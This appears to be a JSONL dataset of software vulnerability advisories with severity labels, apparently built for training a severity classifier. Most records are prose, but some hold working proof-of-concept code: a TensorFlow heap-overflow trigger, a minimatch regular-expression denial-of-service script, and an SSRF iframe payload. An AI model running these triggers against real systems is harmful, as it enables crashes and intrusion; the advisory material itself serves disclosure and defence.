-{"id": "de0f6cbbaf1dfdf8405b", "text": "V-SOL GPON/EPON OLT Platform v2.03 Link Manipulation Vulnerability", "text_raw": "V-SOL GPON/EPON OLT Platform v2.03 Link Manipulation Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-09-26", "split": "train"}
-{"id": "b25d3290fd58c6b9b729", "text": "Duplicate Advisory: Possible remote code execution via a remote procedure call\n\nWithdrawn: duplicate of GHSA-pj4g-4488-wmxm\n\n## Original Description\n\nIn RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.", "text_raw": "Duplicate Advisory: Possible remote code execution via a remote procedure call\n\n[Severity: HIGH]\n\nWithdrawn: duplicate of GHSA-pj4g-4488-wmxm\n\n## Original Description\n\nIn RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "eac17ab00559599fa970", "text": "Deserialization of Untrusted Data in codeception/codeception\n\nThis affects the package codeception/codeception from 4.0.0 before 4.1.22 and before 3.1.3. The RunProcess class can be leveraged as a gadget to run arbitrary commands on a system that is deserializing user input without validation.", "text_raw": " Deserialization of Untrusted Data in codeception/codeception\n\n[Severity: CRITICAL]\n\nThis affects the package codeception/codeception from 4.0.0 before 4.1.22 and before 3.1.3. The RunProcess class can be leveraged as a gadget to run arbitrary commands on a system that is deserializing user input without validation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "4b1361563b4b8d551384", "text": "Privilege Escalation Flaw in Elasticsearch\n\nThe fix for CVE-2020-7009 was found to be incomplete. Elasticsearch versions from 6.7.0 to 6.8.7 and 7.0.0 to 7.6.1 contain a privilege escalation flaw if an attacker is able to create API keys and also authentication tokens. An attacker who is able to generate an API key and an authentication token can perform a series of steps that result in an authentication token being generated with elevated privileges.", "text_raw": "Privilege Escalation Flaw in Elasticsearch\n\n[Severity: MEDIUM]\n\nThe fix for CVE-2020-7009 was found to be incomplete. Elasticsearch versions from 6.7.0 to 6.8.7 and 7.0.0 to 7.6.1 contain a privilege escalation flaw if an attacker is able to create API keys and also authentication tokens. An attacker who is able to generate an API key and an authentication token can perform a series of steps that result in an authentication token being generated with elevated privileges.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "0152d9232376a03453be", "text": "Malicious Package in requst\n\nAll versions of `requst` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requst\n\n[Severity: CRITICAL]\n\nAll versions of `requst` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "7f25322d7abcbce2dd27", "text": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cleartext Credentials Disclosure", "text_raw": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cleartext Credentials Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-08-13", "split": "train"}
-{"id": "300f5ae6cac9e439b627", "text": "Exposure of Sensitive Information to an Unauthorized Actor and Insecure Temporary File in Ansible\n\nA flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor and Insecure Temporary File in Ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "f4c56551c46412c2ed70", "text": "Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow Code Execution", "text_raw": "Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-02-01", "split": "train"}
-{"id": "057165d1f59bdb377222", "text": "oslo.middleware Information Disclosure vulnerability\n\npython-oslo-middleware before versions 3.8.1, 3.19.1, 3.23.1 is vulnerable to an information disclosure. Software using the CatchError class could include sensitive values in a traceback's error message. System users could exploit this flaw to obtain sensitive information from OpenStack component error logs (for example, keystone tokens).", "text_raw": "oslo.middleware Information Disclosure vulnerability\n\n[Severity: HIGH]\n\npython-oslo-middleware before versions 3.8.1, 3.19.1, 3.23.1 is vulnerable to an information disclosure. Software using the CatchError class could include sensitive values in a traceback's error message. System users could exploit this flaw to obtain sensitive information from OpenStack component error logs (for example, keystone tokens).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "a4baa059ebd2add02eea", "text": "Deserialization of Untrusted Data in Neo4j\n\nNeo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., through setSessionVariable. An attacker can abuse this for remote code execution because there are dependencies with exploitable gadget chains.", "text_raw": "Deserialization of Untrusted Data in Neo4j\n\n[Severity: CRITICAL]\n\nNeo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., through setSessionVariable. An attacker can abuse this for remote code execution because there are dependencies with exploitable gadget chains.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "383ca0209627b20421f3", "text": "Malicious Package in js-shas\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-shas\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ef5ad3336f5edfb49d35", "text": "Rack vulnerable to Cross-site Scripting\n\nThere is a possible XSS vulnerability in Rack before 2.0.6 and 1.6.11. Carefully crafted requests can impact the data returned by the `scheme` method on `Rack::Request`. Applications that expect the scheme to be limited to 'http' or 'https' and do not escape the return value could be vulnerable to an XSS attack. Note that applications using the normal escaping mechanisms provided by Rails may not impacted, but applications that bypass the escaping mechanisms, or do not use them may be vulnerable.", "text_raw": "Rack vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nThere is a possible XSS vulnerability in Rack before 2.0.6 and 1.6.11. Carefully crafted requests can impact the data returned by the `scheme` method on `Rack::Request`. Applications that expect the scheme to be limited to 'http' or 'https' and do not escape the return value could be vulnerable to an XSS attack. Note that applications using the normal escaping mechanisms provided by Rails may not impacted, but applications that bypass the escaping mechanisms, or do not use them may be vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-15", "split": "train"}
-{"id": "1e512a6efbdc2b61c55a", "text": "Information exposure via query strings in URL\n\n### Impact\n\nInformation exposure via query strings in URL\n\n### Patches\nWe recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020\n\n### Credits\nWe would like to thank <a rel=\"noopener\" href=\"https://www.vater-it.de/\">Oliver Herrmann</a> for reporting this issue.", "text_raw": "Information exposure via query strings in URL\n\n[Severity: LOW]\n\n### Impact\n\nInformation exposure via query strings in URL\n\n### Patches\nWe recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020\n\n### Credits\nWe would like to thank <a rel=\"noopener\" href=\"https://www.vater-it.de/\">Oliver Herrmann</a> for reporting this issue.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "416234857e01706203e7", "text": "Race condition in Parc\n\nIn the affected versions of this crate, `LockWeak<T>` unconditionally implemented `Send` with no trait bounds on `T`. `LockWeak<T>` doesn't own `T` and only provides `&T`. This allows concurrent access to a non-Sync `T`, which can cause undefined behavior like data races.", "text_raw": "Race condition in Parc\n\n[Severity: HIGH]\n\nIn the affected versions of this crate, `LockWeak<T>` unconditionally implemented `Send` with no trait bounds on `T`. `LockWeak<T>` doesn't own `T` and only provides `&T`. This allows concurrent access to a non-Sync `T`, which can cause undefined behavior like data races.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "480fc41097ff37aa080d", "text": "Stack Overflow in Apache Mesos\n\nWhen parsing a JSON payload with deeply nested JSON structures, the parser in Apache Mesos versions pre-1.4.x, 1.4.0 to 1.4.2, 1.5.0 to 1.5.1, 1.6.0 to 1.6.1, and 1.7.0 might overflow the stack due to unbounded recursion. A malicious actor can therefore cause a denial of service of Mesos masters rendering the Mesos-controlled cluster inoperable.", "text_raw": "Stack Overflow in Apache Mesos\n\n[Severity: HIGH]\n\nWhen parsing a JSON payload with deeply nested JSON structures, the parser in Apache Mesos versions pre-1.4.x, 1.4.0 to 1.4.2, 1.5.0 to 1.5.1, 1.6.0 to 1.6.1, and 1.7.0 might overflow the stack due to unbounded recursion. A malicious actor can therefore cause a denial of service of Mesos masters rendering the Mesos-controlled cluster inoperable.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-06", "split": "train"}
-{"id": "0e7034f608c47091357c", "text": "Embedded malware in coa\n\nThe npm package `coa` had versions published with malicious code. Users of affected versions (2.0.3 and above) should downgrade to 2.0.2 as soon as possible and check their systems for suspicious activity. See [this issue](https://github.com/veged/coa/issues/99) for details as they unfold.\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Embedded malware in coa\n\n[Severity: CRITICAL]\n\nThe npm package `coa` had versions published with malicious code. Users of affected versions (2.0.3 and above) should downgrade to 2.0.2 as soon as possible and check their systems for suspicious activity. See [this issue](https://github.com/veged/coa/issues/99) for details as they unfold.\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-04", "split": "train"}
-{"id": "ae2a2853ca3d3ae5476c", "text": "HTTP header injection in Plone and Zope2\n\nZPublisher.HTTPRequest._scrubHeader in Zope 2 before 2.13.19, as used in Plone before 4.3 beta 1, allows remote attackers to inject arbitrary HTTP headers via a linefeed (LF) character.", "text_raw": "HTTP header injection in Plone and Zope2\n\n[Severity: HIGH]\n\nZPublisher.HTTPRequest._scrubHeader in Zope 2 before 2.13.19, as used in Plone before 4.3 beta 1, allows remote attackers to inject arbitrary HTTP headers via a linefeed (LF) character.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "5273edfb1201e237816f", "text": "Integer overflow in base64\n\nAffected versions of this crate suffered from an integer overflow bug when\ncalculating the size of a buffer to use when encoding base64 using the\n`encode_config_buf` and `encode_config` functions.  If the input string\nwas large, this would cause a buffer to be allocated that was too small.\nSince this function writes to the buffer using unsafe code, it would\nallow an attacker to write beyond the buffer, causing memory corruption\nand possibly the execution of arbitrary code.\n\nThis flaw was corrected by using checked arithmetic to calculate\nthe size of the buffer.", "text_raw": "Integer overflow in base64\n\n[Severity: CRITICAL]\n\nAffected versions of this crate suffered from an integer overflow bug when\ncalculating the size of a buffer to use when encoding base64 using the\n`encode_config_buf` and `encode_config` functions.  If the input string\nwas large, this would cause a buffer to be allocated that was too small.\nSince this function writes to the buffer using unsafe code, it would\nallow an attacker to write beyond the buffer, causing memory corruption\nand possibly the execution of arbitrary code.\n\nThis flaw was corrected by using checked arithmetic to calculate\nthe size of the buffer.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "34d85f7b8679693c51f1", "text": "Prototype Pollution in just-extend\n\nVersions of `just-extend` before 4.0.0 are vulnerable to prototype pollution. Provided certain input `just-extend` can add or modify properties of the `Object` prototype. These properties will be present on all objects.\n\n## Recommendation\n\nUpdate to version `4.0.0` or later.", "text_raw": "Prototype Pollution in just-extend\n\n[Severity: CRITICAL]\n\nVersions of `just-extend` before 4.0.0 are vulnerable to prototype pollution. Provided certain input `just-extend` can add or modify properties of the `Object` prototype. These properties will be present on all objects.\n\n\n## Recommendation\n\nUpdate to version `4.0.0` or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "318eb0bd3f1ea062b779", "text": "Heap buffer overflow caused by rounding\n\n### Impact\nAn attacker can trigger a heap buffer overflow in `tf.raw_ops.QuantizedResizeBilinear` by manipulating input values so that float rounding results in off-by-one error in accessing image elements:\n\n```python\nimport tensorflow as tf\n\nl = [256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, 384]\nimages = tf.constant(l, shape=[1, 1, 15, 1], dtype=tf.qint32)\nsize = tf.constant([12, 6], shape=[2], dtype=tf.int32)\nmin = tf.constant(80.22522735595703)\nmax = tf.constant(80.39215850830078)\n\ntf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max,\n                                   align_corners=True, half_pixel_centers=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/44b7f486c0143f68b56c34e2d01e146ee445134a/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L62-L66) computes two integers (representing the upper and lower bounds for interpolation) by ceiling and flooring a floating point value:\n\n```cc\nconst float in_f = std::floor(in);\ninterpolation->lower[i] = std::max(static_cast<int64>(in_f), static_cast<int64>(0));\ninterpolation->upper[i] = std::min(static_cast<int64>(std::ceil(in)), in_size - 1);\n```\n\nFor some values of `in`, `interpolation->upper[i]` might be smaller than `interpolation->lower[i]`. This is an issue if `interpolation->upper[i]` is capped at `in_size-1` as it means that `interpolation->lower[i]` points outside of the image. Then, [in the interpolation code](https://github.com/tensorflow/tensorflow/blob/44b7f486c0143f68b56c34e2d01e146ee445134a/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L245-L264), this would result in heap buffer overflow:\n\n```cc\ntemplate <int RESOLUTION, typename T, typename T_SCALE, typename T_CALC>\ninline void OutputLerpForChannels(const InterpolationCache<T_SCALE>& xs,\n                                  const int64 x, const T_SCALE ys_ilerp,\n                                  const int channels, const float min,\n                                  const float max, const T* ys_input_lower_ptr,\n                                  const T* ys_input_upper_ptr,\n                                  T* output_y_ptr) {\n  const int64 xs_lower = xs.lower[x];\n  ...\n  for (int c = 0; c < channels; ++c) {\n    const T top_left = ys_input_lower_ptr[xs_lower + c];\n    ...\n  }\n}\n```\n\nFor the other cases where `interpolation->upper[i]` is smaller than `interpolation->lower[i]`, we can set them to be equal without affecting the output.\n\n### Patches\nWe have patched the issue in GitHub commit [f851613f8f0fb0c838d160ced13c134f778e3ce7](https://github.com/tensorflow/tensorflow/commit/f851613f8f0fb0c838d160ced13c134f778e3ce7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow caused by rounding\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a heap buffer overflow in `tf.raw_ops.QuantizedResizeBilinear` by manipulating input values so that float rounding results in off-by-one error in accessing image elements:\n\n```python\nimport tensorflow as tf\n\nl = [256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, 384]\nimages = tf.constant(l, shape=[1, 1, 15, 1], dtype=tf.qint32)\nsize = tf.constant([12, 6], shape=[2], dtype=tf.int32)\nmin = tf.constant(80.22522735595703)\nmax = tf.constant(80.39215850830078)\n\ntf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max,\n                                   align_corners=True, half_pixel_centers=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/44b7f486c0143f68b56c34e2d01e146ee445134a/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L62-L66) computes two integers (representing the upper and lower bounds for interpolation) by ceiling and flooring a floating point value:\n\n```cc\nconst float in_f = std::floor(in);\ninterpolation->lower[i] = std::max(static_cast<int64>(in_f), static_cast<int64>(0));\ninterpolation->upper[i] = std::min(static_cast<int64>(std::ceil(in)), in_size - 1);\n```\n  \nFor some values of `in`, `interpolation->upper[i]` might be smaller than `interpolation->lower[i]`. This is an issue if `interpolation->upper[i]` is capped at `in_size-1` as it means that `interpolation->lower[i]` points outside of the image. Then, [in the interpolation code](https://github.com/tensorflow/tensorflow/blob/44b7f486c0143f68b56c34e2d01e146ee445134a/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L245-L264), this would result in heap buffer overflow:\n\n```cc\ntemplate <int RESOLUTION, typename T, typename T_SCALE, typename T_CALC>\ninline void OutputLerpForChannels(const InterpolationCache<T_SCALE>& xs,\n                                  const int64 x, const T_SCALE ys_ilerp,\n                                  const int channels, const float min,\n                                  const float max, const T* ys_input_lower_ptr,\n                                  const T* ys_input_upper_ptr,\n                                  T* output_y_ptr) {\n  const int64 xs_lower = xs.lower[x];\n  ...\n  for (int c = 0; c < channels; ++c) {\n    const T top_left = ys_input_lower_ptr[xs_lower + c];\n    ...\n  }\n}\n```\n\nFor the other cases where `interpolation->upper[i]` is smaller than `interpolation->lower[i]`, we can set them to be equal without affecting the output.\n\n### Patches\nWe have patched the issue in GitHub commit [f851613f8f0fb0c838d160ced13c134f778e3ce7](https://github.com/tensorflow/tensorflow/commit/f851613f8f0fb0c838d160ced13c134f778e3ce7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "91e8ad79775119a3a273", "text": "Improper Input Validation in sanitize-html\n\nApostrophe Technologies sanitize-html before 2.3.1 does not properly handle internationalized domain name (IDN) which could allow an attacker to bypass hostname whitelist validation set by the \"allowedIframeHostnames\" option.", "text_raw": "Improper Input Validation in sanitize-html\n\n[Severity: MEDIUM]\n\nApostrophe Technologies sanitize-html before 2.3.1 does not properly handle internationalized domain name (IDN) which could allow an attacker to bypass hostname whitelist validation set by the \"allowedIframeHostnames\" option.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "f40fc211b6c515e3f57e", "text": "Server-Side Request Forgery in html-pdf-chrome\n\n## Recommendation\nThis package is working as intended. A [Security](https://github.com/westy92/html-pdf-chrome#security) section has been added since v0.6.1 to detail proper usage of this library. Npm has revoked their advisory altogether.\n\n## Original Advisory\nAll versions of `html-pdf-chrome` are vulnerable to Server-Side Request Forgery (SSRF). The package executes HTTP requests if the parsed HTML contains external references to resources, such as `<iframe src=\"http://localhost\" height=\"800px\" width=\"800px\"></iframe>`. This allows attackers to access resources through HTTP that are accessible to the server, including private resources in the hosting environment.", "text_raw": "Server-Side Request Forgery in html-pdf-chrome\n\n[Severity: HIGH]\n\n## Recommendation\nThis package is working as intended. A [Security](https://github.com/westy92/html-pdf-chrome#security) section has been added since v0.6.1 to detail proper usage of this library. Npm has revoked their advisory altogether.\n\n## Original Advisory\nAll versions of `html-pdf-chrome` are vulnerable to Server-Side Request Forgery (SSRF). The package executes HTTP requests if the parsed HTML contains external references to resources, such as `<iframe src=\"http://localhost\" height=\"800px\" width=\"800px\"></iframe>`. This allows attackers to access resources through HTTP that are accessible to the server, including private resources in the hosting environment.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "07f77d2e98cbb2231448", "text": "Regular Expression Denial of Service (ReDoS)\n\nA vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.", "text_raw": "Regular Expression Denial of Service (ReDoS)\n\n[Severity: HIGH]\n\nA vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "fc58356107282f26b982", "text": "Improper Restriction of Operations within the Bounds of a Memory Buffer in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has a buffer overflow in the cv::BmpDecoder::readData function in modules/imgcodecs/src/grfmt_bmp.cpp when reading an image file by using cv::imread, as demonstrated by the 4-buf-overflow-readData-memcpy test case.", "text_raw": "Improper Restriction of Operations within the Bounds of a Memory Buffer in OpenCV \n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has a buffer overflow in the cv::BmpDecoder::readData function in modules/imgcodecs/src/grfmt_bmp.cpp when reading an image file by using cv::imread, as demonstrated by the 4-buf-overflow-readData-memcpy test case.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "37b3407df1261c3ba88d", "text": "Regular Expression Denial of Service in minimatch\n\nAffected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n## Proof of Concept\n```js\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = “”;\n  for (i=0; i<=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.", "text_raw": "Regular Expression Denial of Service in minimatch\n\n[Severity: HIGH]\n\nAffected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = “”;\n  for (i=0; i<=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "14a4666a0372b604529b", "text": "Improper Privilege Management in Apache Ozone\n\nIn Apache Ozone versions prior to 1.2.0, Initially generated block tokens are persisted to the metadata database and can be retrieved with authenticated users with permission to the key. Authenticated users may use them even after access is revoked.", "text_raw": "Improper Privilege Management in Apache Ozone\n\n[Severity: CRITICAL]\n\nIn Apache Ozone versions prior to 1.2.0, Initially generated block tokens are persisted to the metadata database and can be retrieved with authenticated users with permission to the key. Authenticated users may use them even after access is revoked.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "dcc9b6e6e972958781a2", "text": "PHP Code Injection by malicious function name in smarty\n\nTemplate authors could inject php code by choosing a malicous {function} name. Sites that cannot fully trust template authors should update as soon as possible. Please upgrade to 3.1.39 or higher.", "text_raw": "PHP Code Injection by malicious function name in smarty\n\n[Severity: CRITICAL]\n\nTemplate authors could inject php code by choosing a malicous {function} name. Sites that cannot fully trust template authors should update as soon as possible. Please upgrade to 3.1.39 or higher.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-02-26", "split": "train"}
-{"id": "292ea698b1de0538b1b6", "text": "Open Redirect in xdLocalStorage\n\nAn issue was discovered in xdLocalStorage through 2.0.5. The buildMessage() function in xdLocalStorage.js specifies the wildcard (*) as the targetOrigin when calling the postMessage() function on the iframe object. Therefore any domain that is currently loaded within the iframe can receive the messages that the client sends.", "text_raw": "Open Redirect in xdLocalStorage\n\n[Severity: MEDIUM]\n\nAn issue was discovered in xdLocalStorage through 2.0.5. The buildMessage() function in xdLocalStorage.js specifies the wildcard (*) as the targetOrigin when calling the postMessage() function on the iframe object. Therefore any domain that is currently loaded within the iframe can receive the messages that the client sends.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "4909b5226989a1638986", "text": "Authentication Bypass in console-io\n\nAffected versions of the `console-io` package do not configure the underlying websocket library to require authentication, resulting in an authentication bypass vulnerability. As `console-io` allows terminal access on the server via a web page, an authentication bypass is essentially remote code execution.\n\n## Recommendation\n\nUpdate to version 2.3.0 or later.", "text_raw": "Authentication Bypass in console-io\n\n[Severity: CRITICAL]\n\nAffected versions of the `console-io` package do not configure the underlying websocket library to require authentication, resulting in an authentication bypass vulnerability. As `console-io` allows terminal access on the server via a web page, an authentication bypass is essentially remote code execution.\n\n\n\n## Recommendation\n\nUpdate to version 2.3.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "47167648970230cf99a4", "text": "vrana/adminer vulnerable to SSRF by connecting to privileged ports\n\n### Impact\nAll users are affected.\n\n### Patches\n* Unsuccessfully patched by 0fae40fb, included in version [4.4.0](https://github.com/vrana/adminer/releases/tag/v4.4.0).\n* Patched by 35bfaa75, included in version [4.7.8](https://github.com/vrana/adminer/releases/tag/v4.7.8).\n\n### Workarounds\nProtect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP [plugin](https://www.adminer.org/plugins/).\n\n### References\n* http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt\n* https://sourceforge.net/p/adminer/bugs-and-features/769/\n* https://gusralph.info/adminer-ssrf-bypass-cve-2018-7667/ (CVE-2020-28654)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at 35bfaa75.", "text_raw": "vrana/adminer vulnerable to SSRF by connecting to privileged ports\n\n[Severity: MEDIUM]\n\n### Impact\nAll users are affected.\n\n### Patches\n* Unsuccessfully patched by 0fae40fb, included in version [4.4.0](https://github.com/vrana/adminer/releases/tag/v4.4.0).\n* Patched by 35bfaa75, included in version [4.7.8](https://github.com/vrana/adminer/releases/tag/v4.7.8).\n\n### Workarounds\nProtect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP [plugin](https://www.adminer.org/plugins/).\n\n### References\n* http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt\n* https://sourceforge.net/p/adminer/bugs-and-features/769/\n* https://gusralph.info/adminer-ssrf-bypass-cve-2018-7667/ (CVE-2020-28654)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at 35bfaa75.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-11", "split": "train"}
